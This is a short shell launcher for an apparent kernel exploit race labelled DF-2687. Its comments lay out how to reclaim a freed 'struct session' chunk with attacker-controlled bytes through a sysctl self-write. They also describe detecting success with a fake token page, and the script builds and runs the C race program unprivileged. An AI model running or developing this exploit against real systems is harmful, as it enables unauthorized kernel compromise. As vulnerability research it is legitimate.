#!/bin/sh
# DF-2687 weaponization race: try to land attacker-controlled bytes in the
# freed struct session chunk inside the ~30ns same-syscall window of the
# orphan's final close, using the KERN_PROC_ARGS sysctl self-write as the
# controlled-content 104-byte reclaim churn.  Detector: a private RW page
# at 0x100000000 acting as a fake lwkt token (t_count=TOK_EXCLREQ); a
# kernel token dance on it leaves the persistent trace t_count 2 -> 0.
#
# Build: cc -O2 -Wall -o /tmp/df2687race df2687race.c -lpthread
# Run (unprivileged): /tmp/df2687race <closers> <sprayers> <seconds>
cc -O2 -Wall -o /tmp/df2687race df2687race.c -lpthread
echo "BUILD OK"
exec /tmp/df2687race "${1:-3}" "${2:-8}" "${3:-60}"